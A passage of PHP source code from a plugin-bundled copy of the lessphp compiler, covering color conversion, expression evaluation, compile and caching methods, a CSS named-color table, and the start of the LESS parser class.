$color ) > 4 ) { 1138 $out[] = $color[4]; // copy alpha 1139 } 1140 return $out; 1141 } 1142 1143 protected function toRGB_helper( $comp, $temp1, $temp2 ) { 1144 if ( $comp < 0 ) { 1145 $comp += 1.0; 1146 } elseif ( $comp > 1 ) { 1147 $comp -= 1.0; 1148 } 1149 1150 if ( 6 * $comp < 1 ) { 1151 return $temp1 + ( $temp2 - $temp1 ) * 6 * $comp; 1152 } 1153 if ( 2 * $comp < 1 ) { 1154 return $temp2; 1155 } 1156 if ( 3 * $comp < 2 ) { 1157 return $temp1 + ( $temp2 - $temp1 ) * ( ( 2 / 3 ) - $comp ) * 6; 1158 } 1159 1160 return $temp1; 1161 } 1162 1163 /** 1164 * Converts a hsl array into a color value in rgb. 1165 * Expects H to be in range of 0 to 360, S and L in 0 to 100 1166 */ 1167 protected function toRGB( $color ) { 1168 if ( $color == 'color' ) { 1169 return $color; 1170 } 1171 1172 $H = $color[1] / 360; 1173 $S = $color[2] / 100; 1174 $L = $color[3] / 100; 1175 1176 if ( $S == 0 ) { 1177 $r = $g = $b = $L; 1178 } else { 1179 $temp2 = $L < 0.5 ? 1180 $L * ( 1.0 + $S ) : 1181 $L + $S - $L * $S; 1182 1183 $temp1 = 2.0 * $L - $temp2; 1184 1185 $r = $this->toRGB_helper( $H + 1 / 3, $temp1, $temp2 ); 1186 $g = $this->toRGB_helper( $H, $temp1, $temp2 ); 1187 $b = $this->toRGB_helper( $H - 1 / 3, $temp1, $temp2 ); 1188 } 1189 1190 // $out = array('color', round($r*255), round($g*255), round($b*255)); 1191 $out = array( 'color', $r * 255, $g * 255, $b * 255 ); 1192 if ( count( $color ) > 4 ) { 1193 $out[] = $color[4]; // copy alpha 1194 } 1195 return $out; 1196 } 1197 1198 protected function clamp( $v, $max = 1, $min = 0 ) { 1199 return min( $max, max( $min, $v ) ); 1200 } 1201 1202 /** 1203 * Convert the rgb, rgba, hsl color literals of function type 1204 * as returned by the parser into values of color type. 1205 */ 1206 protected function funcToColor( $func ) { 1207 $fname = $func[1]; 1208 if ( $func[2][0] != 'list' ) { 1209 return false; // need a list of arguments 1210 } 1211 $rawComponents = $func[2][2]; 1212 1213 if ( $fname == 'hsl' || $fname == 'hsla' ) { 1214 $hsl = array( 'hsl' ); 1215 $i = 0; 1216 foreach ( $rawComponents as $c ) { 1217 $val = $this->reduce( $c ); 1218 $val = isset( $val[1] ) ? floatval( $val[1] ) : 0; 1219 1220 if ( $i == 0 ) { 1221 $clamp = 360; 1222 } elseif ( $i < 3 ) { 1223 $clamp = 100; 1224 } else { 1225 $clamp = 1; 1226 } 1227 1228 $hsl[] = $this->clamp( $val, $clamp ); 1229 $i++; 1230 } 1231 1232 while ( count( $hsl ) < 4 ) { 1233 $hsl[] = 0; 1234 } 1235 return $this->toRGB( $hsl ); 1236 1237 } elseif ( $fname == 'rgb' || $fname == 'rgba' ) { 1238 $components = array(); 1239 $i = 1; 1240 foreach ( $rawComponents as $c ) { 1241 $c = $this->reduce( $c ); 1242 if ( $i < 4 ) { 1243 if ( $c[0] == 'number' && $c[2] == '%' ) { 1244 $components[] = 255 * ( $c[1] / 100 ); 1245 } else { 1246 $components[] = floatval( $c[1] ); 1247 } 1248 } elseif ( $i == 4 ) { 1249 if ( $c[0] == 'number' && $c[2] == '%' ) { 1250 $components[] = 1.0 * ( $c[1] / 100 ); 1251 } else { 1252 $components[] = floatval( $c[1] ); 1253 } 1254 } else { 1255 break; 1256 } 1257 1258 $i++; 1259 } 1260 while ( count( $components ) < 3 ) { 1261 $components[] = 0; 1262 } 1263 array_unshift( $components, 'color' ); 1264 return $this->fixColor( $components ); 1265 } 1266 1267 return false; 1268 } 1269 1270 protected function reduce( $value, $forExpression = false ) { 1271 switch ( $value[0] ) { 1272 case 'variable': 1273 $key = $value[1]; 1274 if ( is_array( $key ) ) { 1275 $key = $this->reduce( $key ); 1276 $key = $this->vPrefix . $this->compileValue( $this->lib_e( $key ) ); 1277 } 1278 1279 $seen =& $this->env->seenNames; 1280 1281 if ( ! empty( $seen[ $key ] ) ) { 1282 $this->throwError( "infinite loop detected: $key" ); 1283 } 1284 1285 $seen[ $key ] = true; 1286 $out = $this->reduce( $this->get( $key, self::$defaultValue ) ); 1287 $seen[ $key ] = false; 1288 return $out; 1289 case 'list': 1290 foreach ( $value[2] as &$item ) { 1291 $item = $this->reduce( $item, $forExpression ); 1292 } 1293 return $value; 1294 case 'expression': 1295 return $this->evaluate( $value ); 1296 case 'string': 1297 foreach ( $value[2] as &$part ) { 1298 if ( is_array( $part ) ) { 1299 $strip = $part[0] == 'variable'; 1300 $part = $this->reduce( $part ); 1301 if ( $strip ) { 1302 $part = $this->lib_e( $part ); 1303 } 1304 } 1305 } 1306 return $value; 1307 case 'escape': 1308 list(,$inner) = $value; 1309 return $this->lib_e( $this->reduce( $inner ) ); 1310 case 'function': 1311 $color = $this->funcToColor( $value ); 1312 if ( $color ) { 1313 return $color; 1314 } 1315 1316 list(, $name, $args) = $value; 1317 if ( $name == '%' ) { 1318 $name = '_sprintf'; 1319 } 1320 $f = isset( $this->libFunctions[ $name ] ) ? 1321 $this->libFunctions[ $name ] : array( $this, 'lib_' . $name ); 1322 1323 if ( is_callable( $f ) ) { 1324 if ( $args[0] == 'list' ) { 1325 $args = self::compressList( $args[2], $args[1] ); 1326 } 1327 1328 $ret = call_user_func( $f, $this->reduce( $args, true ), $this ); 1329 1330 if ( is_null( $ret ) ) { 1331 return array( 1332 'string', 1333 '', 1334 array( 1335 $name, 1336 '(', 1337 $args, 1338 ')', 1339 ), 1340 ); 1341 } 1342 1343 // convert to a typed value if the result is a php primitive 1344 if ( is_numeric( $ret ) ) { 1345 $ret = array( 'number', $ret, '' ); 1346 } elseif ( ! is_array( $ret ) ) { 1347 $ret = array( 'keyword', $ret ); 1348 } 1349 1350 return $ret; 1351 } 1352 1353 // plain function, reduce args 1354 $value[2] = $this->reduce( $value[2] ); 1355 return $value; 1356 case 'unary': 1357 list(, $op, $exp) = $value; 1358 $exp = $this->reduce( $exp ); 1359 1360 if ( $exp[0] == 'number' ) { 1361 switch ( $op ) { 1362 case '+': 1363 return $exp; 1364 case '-': 1365 $exp[1] *= -1; 1366 return $exp; 1367 } 1368 } 1369 return array( 'string', '', array( $op, $exp ) ); 1370 } 1371 1372 if ( $forExpression ) { 1373 switch ( $value[0] ) { 1374 case 'keyword': 1375 if ( $color = $this->coerceColor( $value ) ) { 1376 return $color; 1377 } 1378 break; 1379 case 'raw_color': 1380 return $this->coerceColor( $value ); 1381 } 1382 } 1383 1384 return $value; 1385 } 1386 1387 1388 // coerce a value for use in color operation 1389 protected function coerceColor( $value ) { 1390 switch ( $value[0] ) { 1391 case 'color': 1392 return $value; 1393 case 'raw_color': 1394 $c = array( 'color', 0, 0, 0 ); 1395 $colorStr = substr( $value[1], 1 ); 1396 $num = hexdec( $colorStr ); 1397 $width = strlen( $colorStr ) == 3 ? 16 : 256; 1398 1399 for ( $i = 3; $i > 0; $i-- ) { // 3 2 1 1400 $t = $num % $width; 1401 $num /= $width; 1402 1403 $c[ $i ] = $t * ( 256 / $width ) + $t * floor( 16 / $width ); 1404 } 1405 1406 return $c; 1407 case 'keyword': 1408 $name = $value[1]; 1409 if ( isset( self::$cssColors[ $name ] ) ) { 1410 list($r, $g, $b) = explode( ',', self::$cssColors[ $name ] ); 1411 return array( 'color', $r, $g, $b ); 1412 } 1413 return null; 1414 } 1415 } 1416 1417 // make something string like into a string 1418 protected function coerceString( $value ) { 1419 switch ( $value[0] ) { 1420 case 'string': 1421 return $value; 1422 case 'keyword': 1423 return array( 'string', '', array( $value[1] ) ); 1424 } 1425 return null; 1426 } 1427 1428 // turn list of length 1 into value type 1429 protected function flattenList( $value ) { 1430 if ( $value[0] == 'list' && count( $value[2] ) == 1 ) { 1431 return $this->flattenList( $value[2][0] ); 1432 } 1433 return $value; 1434 } 1435 1436 protected function toBool( $a ) { 1437 if ( $a ) { 1438 return self::$TRUE; 1439 } else { 1440 return self::$FALSE; 1441 } 1442 } 1443 1444 // evaluate an expression 1445 protected function evaluate( $exp ) { 1446 list(, $op, $left, $right, $whiteBefore, $whiteAfter) = $exp; 1447 1448 $left = $this->reduce( $left, true ); 1449 $right = $this->reduce( $right, true ); 1450 1451 if ( $leftColor = $this->coerceColor( $left ) ) { 1452 $left = $leftColor; 1453 } 1454 1455 if ( $rightColor = $this->coerceColor( $right ) ) { 1456 $right = $rightColor; 1457 } 1458 1459 $ltype = $left[0]; 1460 $rtype = $right[0]; 1461 1462 // operators that work on all types 1463 if ( $op == 'and' ) { 1464 return $this->toBool( $left == self::$TRUE && $right == self::$TRUE ); 1465 } 1466 1467 if ( $op == '=' ) { 1468 return $this->toBool( $this->eq( $left, $right ) ); 1469 } 1470 1471 if ( $op == '+' && ! is_null( $str = $this->stringConcatenate( $left, $right ) ) ) { 1472 return $str; 1473 } 1474 1475 // type based operators 1476 $fname = "op_${ltype}_${rtype}"; 1477 if ( is_callable( array( $this, $fname ) ) ) { 1478 $out = $this->$fname( $op, $left, $right ); 1479 if ( ! is_null( $out ) ) { 1480 return $out; 1481 } 1482 } 1483 1484 // make the expression look it did before being parsed 1485 $paddedOp = $op; 1486 if ( $whiteBefore ) { 1487 $paddedOp = ' ' . $paddedOp; 1488 } 1489 if ( $whiteAfter ) { 1490 $paddedOp .= ' '; 1491 } 1492 1493 return array( 'string', '', array( $left, $paddedOp, $right ) ); 1494 } 1495 1496 protected function stringConcatenate( $left, $right ) { 1497 if ( $strLeft = $this->coerceString( $left ) ) { 1498 if ( $right[0] == 'string' ) { 1499 $right[1] = ''; 1500 } 1501 $strLeft[2][] = $right; 1502 return $strLeft; 1503 } 1504 1505 if ( $strRight = $this->coerceString( $right ) ) { 1506 array_unshift( $strRight[2], $left ); 1507 return $strRight; 1508 } 1509 } 1510 1511 1512 // make sure a color's components don't go out of bounds 1513 protected function fixColor( $c ) { 1514 foreach ( range( 1, 3 ) as $i ) { 1515 if ( $c[ $i ] < 0 ) { 1516 $c[ $i ] = 0; 1517 } 1518 if ( $c[ $i ] > 255 ) { 1519 $c[ $i ] = 255; 1520 } 1521 } 1522 1523 return $c; 1524 } 1525 1526 protected function op_number_color( $op, $lft, $rgt ) { 1527 if ( $op == '+' || $op == '*' ) { 1528 return $this->op_color_number( $op, $rgt, $lft ); 1529 } 1530 } 1531 1532 protected function op_color_number( $op, $lft, $rgt ) { 1533 if ( $rgt[0] == '%' ) { 1534 $rgt[1] /= 100; 1535 } 1536 1537 return $this->op_color_color( 1538 $op, 1539 $lft, 1540 array_fill( 1, count( $lft ) - 1, $rgt[1] ) 1541 ); 1542 } 1543 1544 protected function op_color_color( $op, $left, $right ) { 1545 $out = array( 'color' ); 1546 $max = count( $left ) > count( $right ) ? count( $left ) : count( $right ); 1547 foreach ( range( 1, $max - 1 ) as $i ) { 1548 $lval = isset( $left[ $i ] ) ? $left[ $i ] : 0; 1549 $rval = isset( $right[ $i ] ) ? $right[ $i ] : 0; 1550 switch ( $op ) { 1551 case '+': 1552 $out[] = $lval + $rval; 1553 break; 1554 case '-': 1555 $out[] = $lval - $rval; 1556 break; 1557 case '*': 1558 $out[] = $lval * $rval; 1559 break; 1560 case '%': 1561 $out[] = $lval % $rval; 1562 break; 1563 case '/': 1564 if ( $rval == 0 ) { 1565 $this->throwError( "evaluate error: can't divide by zero" ); 1566 } 1567 $out[] = $lval / $rval; 1568 break; 1569 default: 1570 $this->throwError( 'evaluate error: color op number failed on op ' . $op ); 1571 } 1572 } 1573 return $this->fixColor( $out ); 1574 } 1575 1576 // operator on two numbers 1577 protected function op_number_number( $op, $left, $right ) { 1578 $unit = empty( $left[2] ) ? $right[2] : $left[2]; 1579 1580 $value = 0; 1581 switch ( $op ) { 1582 case '+': 1583 $value = $left[1] + $right[1]; 1584 break; 1585 case '*': 1586 $value = $left[1] * $right[1]; 1587 break; 1588 case '-': 1589 $value = $left[1] - $right[1]; 1590 break; 1591 case '%': 1592 $value = $left[1] % $right[1]; 1593 break; 1594 case '/': 1595 if ( $right[1] == 0 ) { 1596 $this->throwError( 'parse error: divide by zero' ); 1597 } 1598 $value = $left[1] / $right[1]; 1599 break; 1600 case '<': 1601 return $this->toBool( $left[1] < $right[1] ); 1602 case '>': 1603 return $this->toBool( $left[1] > $right[1] ); 1604 case '>=': 1605 return $this->toBool( $left[1] >= $right[1] ); 1606 case '=<': 1607 return $this->toBool( $left[1] <= $right[1] ); 1608 default: 1609 $this->throwError( 'parse error: unknown number operator: ' . $op ); 1610 } 1611 1612 return array( 'number', $value, $unit ); 1613 } 1614 1615 1616 /* environment functions */ 1617 1618 protected function makeOutputBlock( $type, $selectors = null ) { 1619 $b = new stdclass(); 1620 $b->lines = array(); 1621 $b->children = array(); 1622 $b->selectors = $selectors; 1623 $b->type = $type; 1624 $b->parent = $this->scope; 1625 return $b; 1626 } 1627 1628 // the state of execution 1629 protected function pushEnv( $block = null ) { 1630 $e = new stdclass(); 1631 $e->parent = $this->env; 1632 $e->store = array(); 1633 $e->block = $block; 1634 1635 $this->env = $e; 1636 return $e; 1637 } 1638 1639 // pop something off the stack 1640 protected function popEnv() { 1641 $old = $this->env; 1642 $this->env = $this->env->parent; 1643 return $old; 1644 } 1645 1646 // set something in the current env 1647 protected function set( $name, $value ) { 1648 $this->env->store[ $name ] = $value; 1649 } 1650 1651 1652 // get the highest occurrence entry for a name 1653 protected function get( $name, $default = null ) { 1654 $current = $this->env; 1655 1656 $isArguments = $name == $this->vPrefix . 'arguments'; 1657 while ( $current ) { 1658 if ( $isArguments && isset( $current->arguments ) ) { 1659 return array( 'list', ' ', $current->arguments ); 1660 } 1661 1662 if ( isset( $current->store[ $name ] ) ) { 1663 return $current->store[ $name ]; 1664 } else { 1665 $current = isset( $current->storeParent ) ? 1666 $current->storeParent : $current->parent; 1667 } 1668 } 1669 1670 return $default; 1671 } 1672 1673 // inject array of unparsed strings into environment as variables 1674 protected function injectVariables( $args ) { 1675 $this->pushEnv(); 1676 $parser = new seedprod_lessc_parser( $this, __METHOD__ ); 1677 foreach ( $args as $name => $strValue ) { 1678 if ( $name[0] != '@' ) { 1679 $name = '@' . $name; 1680 } 1681 $parser->count = 0; 1682 $parser->buffer = (string) $strValue; 1683 if ( ! $parser->propertyValue( $value ) ) { 1684 throw new Exception( "failed to parse passed in variable $name: $strValue" ); 1685 } 1686 1687 $this->set( $name, $value ); 1688 } 1689 } 1690 1691 /** 1692 * Initialize any static state, can initialize parser for a file 1693 * $opts isn't used yet 1694 */ 1695 public function __construct( $fname = null ) { 1696 if ( $fname !== null ) { 1697 // used for deprecated parse method 1698 $this->_parseFile = $fname; 1699 } 1700 } 1701 1702 public function compile( $string, $name = null ) { 1703 $locale = setlocale( LC_NUMERIC, 0 ); 1704 setlocale( LC_NUMERIC, 'C' ); 1705 1706 $this->parser = $this->makeParser( $name ); 1707 $root = $this->parser->parse( $string ); 1708 1709 $this->env = null; 1710 $this->scope = null; 1711 1712 $this->formatter = $this->newFormatter(); 1713 1714 if ( ! empty( $this->registeredVars ) ) { 1715 $this->injectVariables( $this->registeredVars ); 1716 } 1717 1718 $this->sourceParser = $this->parser; // used for error messages 1719 $this->compileBlock( $root ); 1720 1721 ob_start(); 1722 $this->formatter->block( $this->scope ); 1723 $out = ob_get_clean(); 1724 setlocale( LC_NUMERIC, $locale ); 1725 return $out; 1726 } 1727 1728 public function compileFile( $fname, $outFname = null ) { 1729 if ( ! is_readable( $fname ) ) { 1730 throw new Exception( 'load error: failed to find ' . $fname ); 1731 } 1732 1733 $pi = pathinfo( $fname ); 1734 1735 $oldImport = $this->importDir; 1736 1737 $this->importDir = (array) $this->importDir; 1738 $this->importDir[] = $pi['dirname'] . '/'; 1739 1740 $this->allParsedFiles = array(); 1741 $this->addParsedFile( $fname ); 1742 1743 $out = $this->compile( file_get_contents( $fname ), $fname ); 1744 1745 $this->importDir = $oldImport; 1746 1747 if ( $outFname !== null ) { 1748 return file_put_contents( $outFname, $out ); 1749 } 1750 1751 return $out; 1752 } 1753 1754 // compile only if changed input has changed or output doesn't exist 1755 public function checkedCompile( $in, $out ) { 1756 if ( ! is_file( $out ) || filemtime( $in ) > filemtime( $out ) ) { 1757 $this->compileFile( $in, $out ); 1758 return true; 1759 } 1760 return false; 1761 } 1762 1763 /** 1764 * Execute lessphp on a .less file or a lessphp cache structure 1765 * 1766 * The lessphp cache structure contains information about a specific 1767 * less file having been parsed. It can be used as a hint for future 1768 * calls to determine whether or not a rebuild is required. 1769 * 1770 * The cache structure contains two important keys that may be used 1771 * externally: 1772 * 1773 * compiled: The final compiled CSS 1774 * updated: The time (in seconds) the CSS was last compiled 1775 * 1776 * The cache structure is a plain-ol' PHP associative array and can 1777 * be serialized and unserialized without a hitch. 1778 * 1779 * @param mixed $in Input 1780 * @param bool $force Force rebuild? 1781 * @return array lessphp cache structure 1782 */ 1783 public function cachedCompile( $in, $force = false ) { 1784 // assume no root 1785 $root = null; 1786 1787 if ( is_string( $in ) ) { 1788 $root = $in; 1789 } elseif ( is_array( $in ) and isset( $in['root'] ) ) { 1790 if ( $force or ! isset( $in['files'] ) ) { 1791 // If we are forcing a recompile or if for some reason the 1792 // structure does not contain any file information we should 1793 // specify the root to trigger a rebuild. 1794 $root = $in['root']; 1795 } elseif ( isset( $in['files'] ) and is_array( $in['files'] ) ) { 1796 foreach ( $in['files'] as $fname => $ftime ) { 1797 if ( ! file_exists( $fname ) or filemtime( $fname ) > $ftime ) { 1798 // One of the files we knew about previously has changed 1799 // so we should look at our incoming root again. 1800 $root = $in['root']; 1801 break; 1802 } 1803 } 1804 } 1805 } else { 1806 // TODO: Throw an exception? We got neither a string nor something 1807 // that looks like a compatible lessphp cache structure. 1808 return null; 1809 } 1810 1811 if ( $root !== null ) { 1812 // If we have a root value which means we should rebuild. 1813 $out = array(); 1814 $out['root'] = $root; 1815 $out['compiled'] = $this->compileFile( $root ); 1816 $out['files'] = $this->allParsedFiles(); 1817 $out['updated'] = time(); 1818 return $out; 1819 } else { 1820 // No changes, pass back the structure 1821 // we were given initially. 1822 return $in; 1823 } 1824 1825 } 1826 1827 // parse and compile buffer 1828 // This is deprecated 1829 public function parse( $str = null, $initialVariables = null ) { 1830 if ( is_array( $str ) ) { 1831 $initialVariables = $str; 1832 $str = null; 1833 } 1834 1835 $oldVars = $this->registeredVars; 1836 if ( $initialVariables !== null ) { 1837 $this->setVariables( $initialVariables ); 1838 } 1839 1840 if ( $str == null ) { 1841 if ( empty( $this->_parseFile ) ) { 1842 throw new exception( 'nothing to parse' ); 1843 } 1844 1845 $out = $this->compileFile( $this->_parseFile ); 1846 } else { 1847 $out = $this->compile( $str ); 1848 } 1849 1850 $this->registeredVars = $oldVars; 1851 return $out; 1852 } 1853 1854 protected function makeParser( $name ) { 1855 $parser = new seedprod_lessc_parser( $this, $name ); 1856 $parser->writeComments = $this->preserveComments; 1857 1858 return $parser; 1859 } 1860 1861 public function setFormatter( $name ) { 1862 $this->formatterName = $name; 1863 } 1864 1865 protected function newFormatter() { 1866 $className = 'seedprod_lessc_formatter_lessjs'; 1867 if ( ! empty( $this->formatterName ) ) { 1868 if ( ! is_string( $this->formatterName ) ) { 1869 return $this->formatterName; 1870 } 1871 $className = "seedprod_lessc_formatter_$this->formatterName"; 1872 } 1873 1874 return new $className(); 1875 } 1876 1877 public function setPreserveComments( $preserve ) { 1878 $this->preserveComments = $preserve; 1879 } 1880 1881 public function registerFunction( $name, $func ) { 1882 $this->libFunctions[ $name ] = $func; 1883 } 1884 1885 public function unregisterFunction( $name ) { 1886 unset( $this->libFunctions[ $name ] ); 1887 } 1888 1889 public function setVariables( $variables ) { 1890 $this->registeredVars = array_merge( $this->registeredVars, $variables ); 1891 } 1892 1893 public function unsetVariable( $name ) { 1894 unset( $this->registeredVars[ $name ] ); 1895 } 1896 1897 public function setImportDir( $dirs ) { 1898 $this->importDir = (array) $dirs; 1899 } 1900 1901 public function addImportDir( $dir ) { 1902 $this->importDir = (array) $this->importDir; 1903 $this->importDir[] = $dir; 1904 } 1905 1906 public function allParsedFiles() { 1907 return $this->allParsedFiles; 1908 } 1909 1910 protected function addParsedFile( $file ) { 1911 $this->allParsedFiles[ realpath( $file ) ] = filemtime( $file ); 1912 } 1913 1914 /** 1915 * Uses the current value of $this->count to show line and line number 1916 */ 1917 protected function throwError( $msg = null ) { 1918 if ( $this->sourceLoc >= 0 ) { 1919 $this->sourceParser->throwError( $msg, $this->sourceLoc ); 1920 } 1921 throw new exception( $msg ); 1922 } 1923 1924 // compile file $in to file $out if $in is newer than $out 1925 // returns true when it compiles, false otherwise 1926 public static function ccompile( $in, $out, $less = null ) { 1927 if ( $less === null ) { 1928 $less = new self(); 1929 } 1930 return $less->checkedCompile( $in, $out ); 1931 } 1932 1933 public static function cexecute( $in, $force = false, $less = null ) { 1934 if ( $less === null ) { 1935 $less = new self(); 1936 } 1937 return $less->cachedCompile( $in, $force ); 1938 } 1939 1940 protected static $cssColors = array( 1941 'aliceblue' => '240,248,255', 1942 'antiquewhite' => '250,235,215', 1943 'aqua' => '0,255,255', 1944 'aquamarine' => '127,255,212', 1945 'azure' => '240,255,255', 1946 'beige' => '245,245,220', 1947 'bisque' => '255,228,196', 1948 'black' => '0,0,0', 1949 'blanchedalmond' => '255,235,205', 1950 'blue' => '0,0,255', 1951 'blueviolet' => '138,43,226', 1952 'brown' => '165,42,42', 1953 'burlywood' => '222,184,135', 1954 'cadetblue' => '95,158,160', 1955 'chartreuse' => '127,255,0', 1956 'chocolate' => '210,105,30', 1957 'coral' => '255,127,80', 1958 'cornflowerblue' => '100,149,237', 1959 'cornsilk' => '255,248,220', 1960 'crimson' => '220,20,60', 1961 'cyan' => '0,255,255', 1962 'darkblue' => '0,0,139', 1963 'darkcyan' => '0,139,139', 1964 'darkgoldenrod' => '184,134,11', 1965 'darkgray' => '169,169,169', 1966 'darkgreen' => '0,100,0', 1967 'darkgrey' => '169,169,169', 1968 'darkkhaki' => '189,183,107', 1969 'darkmagenta' => '139,0,139', 1970 'darkolivegreen' => '85,107,47', 1971 'darkorange' => '255,140,0', 1972 'darkorchid' => '153,50,204', 1973 'darkred' => '139,0,0', 1974 'darksalmon' => '233,150,122', 1975 'darkseagreen' => '143,188,143', 1976 'darkslateblue' => '72,61,139', 1977 'darkslategray' => '47,79,79', 1978 'darkslategrey' => '47,79,79', 1979 'darkturquoise' => '0,206,209', 1980 'darkviolet' => '148,0,211', 1981 'deeppink' => '255,20,147', 1982 'deepskyblue' => '0,191,255', 1983 'dimgray' => '105,105,105', 1984 'dimgrey' => '105,105,105', 1985 'dodgerblue' => '30,144,255', 1986 'firebrick' => '178,34,34', 1987 'floralwhite' => '255,250,240', 1988 'forestgreen' => '34,139,34', 1989 'fuchsia' => '255,0,255', 1990 'gainsboro' => '220,220,220', 1991 'ghostwhite' => '248,248,255', 1992 'gold' => '255,215,0', 1993 'goldenrod' => '218,165,32', 1994 'gray' => '128,128,128', 1995 'green' => '0,128,0', 1996 'greenyellow' => '173,255,47', 1997 'grey' => '128,128,128', 1998 'honeydew' => '240,255,240', 1999 'hotpink' => '255,105,180', 2000 'indianred' => '205,92,92', 2001 'indigo' => '75,0,130', 2002 'ivory' => '255,255,240', 2003 'khaki' => '240,230,140', 2004 'lavender' => '230,230,250', 2005 'lavenderblush' => '255,240,245', 2006 'lawngreen' => '124,252,0', 2007 'lemonchiffon' => '255,250,205', 2008 'lightblue' => '173,216,230', 2009 'lightcoral' => '240,128,128', 2010 'lightcyan' => '224,255,255', 2011 'lightgoldenrodyellow' => '250,250,210', 2012 'lightgray' => '211,211,211', 2013 'lightgreen' => '144,238,144', 2014 'lightgrey' => '211,211,211', 2015 'lightpink' => '255,182,193', 2016 'lightsalmon' => '255,160,122', 2017 'lightseagreen' => '32,178,170', 2018 'lightskyblue' => '135,206,250', 2019 'lightslategray' => '119,136,153', 2020 'lightslategrey' => '119,136,153', 2021 'lightsteelblue' => '176,196,222', 2022 'lightyellow' => '255,255,224', 2023 'lime' => '0,255,0', 2024 'limegreen' => '50,205,50', 2025 'linen' => '250,240,230', 2026 'magenta' => '255,0,255', 2027 'maroon' => '128,0,0', 2028 'mediumaquamarine' => '102,205,170', 2029 'mediumblue' => '0,0,205', 2030 'mediumorchid' => '186,85,211', 2031 'mediumpurple' => '147,112,219', 2032 'mediumseagreen' => '60,179,113', 2033 'mediumslateblue' => '123,104,238', 2034 'mediumspringgreen' => '0,250,154', 2035 'mediumturquoise' => '72,209,204', 2036 'mediumvioletred' => '199,21,133', 2037 'midnightblue' => '25,25,112', 2038 'mintcream' => '245,255,250', 2039 'mistyrose' => '255,228,225', 2040 'moccasin' => '255,228,181', 2041 'navajowhite' => '255,222,173', 2042 'navy' => '0,0,128', 2043 'oldlace' => '253,245,230', 2044 'olive' => '128,128,0', 2045 'olivedrab' => '107,142,35', 2046 'orange' => '255,165,0', 2047 'orangered' => '255,69,0', 2048 'orchid' => '218,112,214', 2049 'palegoldenrod' => '238,232,170', 2050 'palegreen' => '152,251,152', 2051 'paleturquoise' => '175,238,238', 2052 'palevioletred' => '219,112,147', 2053 'papayawhip' => '255,239,213', 2054 'peachpuff' => '255,218,185', 2055 'peru' => '205,133,63', 2056 'pink' => '255,192,203', 2057 'plum' => '221,160,221', 2058 'powderblue' => '176,224,230', 2059 'purple' => '128,0,128', 2060 'red' => '255,0,0', 2061 'rosybrown' => '188,143,143', 2062 'royalblue' => '65,105,225', 2063 'saddlebrown' => '139,69,19', 2064 'salmon' => '250,128,114', 2065 'sandybrown' => '244,164,96', 2066 'seagreen' => '46,139,87', 2067 'seashell' => '255,245,238', 2068 'sienna' => '160,82,45', 2069 'silver' => '192,192,192', 2070 'skyblue' => '135,206,235', 2071 'slateblue' => '106,90,205', 2072 'slategray' => '112,128,144', 2073 'slategrey' => '112,128,144', 2074 'snow' => '255,250,250', 2075 'springgreen' => '0,255,127', 2076 'steelblue' => '70,130,180', 2077 'tan' => '210,180,140', 2078 'teal' => '0,128,128', 2079 'thistle' => '216,191,216', 2080 'tomato' => '255,99,71', 2081 'turquoise' => '64,224,208', 2082 'violet' => '238,130,238', 2083 'wheat' => '245,222,179', 2084 'white' => '255,255,255', 2085 'whitesmoke' => '245,245,245', 2086 'yellow' => '255,255,0', 2087 'yellowgreen' => '154,205,50', 2088 ); 2089 } 2090 2091 // responsible for taking a string of LESS code and converting it into a 2092 // syntax tree 2093 class seedprod_lessc_parser { 2094 protected static $nextBlockId = 0; // used to uniquely identify blocks 2095 2096 protected static $precedence = array( 2097 '=<' => 0, 2098 '>=' => 0, 2099 '=' => 0, 2100 '<' => 0, 2101 '>' => 0, 2102 2103 '+' => 1, 2104 '-' => 1, 2105 '*' => 2, 2106 '/' => 2, 2107 '%' => 2, 2108 ); 2109 2110 protected static $whitePattern; 2111 protected static $commentMulti; 2112 2113 protected static $commentSingle = '//'; 2114 protected static $commentMultiLeft = '/*'; 2115 protected static $commentMultiRight = '*/'; 2116 2117 // regex string to match any of the operators 2118 protected static $operatorString; 2119 2120 // these properties will supress division unless it's inside parenthases 2121 protected static $supressDivisionProps = 2122 array( '/border-radius$/i', '/^font$/i' ); 2123 2124 protected $blockDirectives = array( 'font-face', 'keyframes', 'page', '-moz-document' ); 2125 protected $lineDirectives = array( 'charset' ); 2126 2127 /** 2128 * if we are in parens we can be more liberal with whitespace around 2129 * operators because it must evaluate to a single value and thus is less 2130 * ambiguous. 2131 * 2132 * Consider: 2133 * property1: 10 -5; // is two numbers, 10 and -5 2134 * property2: (10 -5); // should evaluate to 5 2135 */ 2136 protected $inParens = false; 2137 2138 // caches preg escaped literals 2139 protected static $literalCache = array(); 2140 2141 public function __construct( $seedprod_lessc, $sourceName = null ) { 2142 $this->eatWhiteDefault = true; 2143 // reference to less needed for vPrefix, mPrefix, and parentSelector 2144 $this->seedprod_lessc = $seedprod_lessc; 2145 2146 $this->sourceName = $sourceName; // name used for error messages 2147 2148 $this->writeComments = false; 2149 2150 if ( ! self::$operatorString ) { 2151 self::$operatorString = 2152 '(' . implode( 2153 '|', 2154 array_map( 2155 array( 'seedprod_lessc', 'preg_quote' ), 2156 array_keys( self::$precedence ) 2157 ) 2158 ) . ')'; 2159 2160 $commentSingle = seedprod_lessc::preg_quote( self::$commentSingle ); 2161 $commentMultiLeft = seedprod_lessc::preg_quote( self::$commentMultiLeft ); 2162 $commentMultiRight = seedprod_lessc::preg_quote( self::$commentMultiRight ); 2163 2164 self::$commentMulti = $commentMultiLeft . '.*?' . $commentMultiRight; 2165 self::$whitePattern = '/' . $commentSingle . '[^\n]*\s*|(' . self::$commentMulti . ')\s*|\s+/Ais'; 2166 } 2167 } 2168 2169 public function parse( $buffer ) { 2170 $this->count = 0; 2171 $this->line = 1; 2172 2173 $this->env = null; // block stack 2174 $this->buffer = $this->writeComments ? $buffer : $this->removeComments( $buffer ); 2175 $this->pushSpecialBlock( 'root' ); 2176 $this->eatWhiteDefault = true; 2177 $this->seenComments = array(); 2178 2179 // trim whitespace on head 2180 // if (preg_match('/^\s+/', $this->buffer, $m)) { 2181 // $this->line += substr_count($m[0], "\n"); 2182 // $this->buffer = ltrim($this->buffer); 2183 // } 2184 $this->whitespace(); 2185 2186 // parse the entire file 2187 $lastCount = $this->count; 2188 while ( false !== $this->parseChunk() ); 2189 2190 if ( $this->count != strlen( $this->buffer ) ) { 2191 $this->throwError(); 2192 } 2193 2194 // TODO report where the block was opened 2195 if ( ! is_null( $this->env->parent ) ) { 2196 throw new exception( 'parse error: unclosed block' ); 2197 } 2198 2199 return $this->env; 2200 } 2201 2202 /** 2203 * Parse a single chunk off the head of the buffer and append it to the 2204 * current parse environment. 2205 * Returns false when the 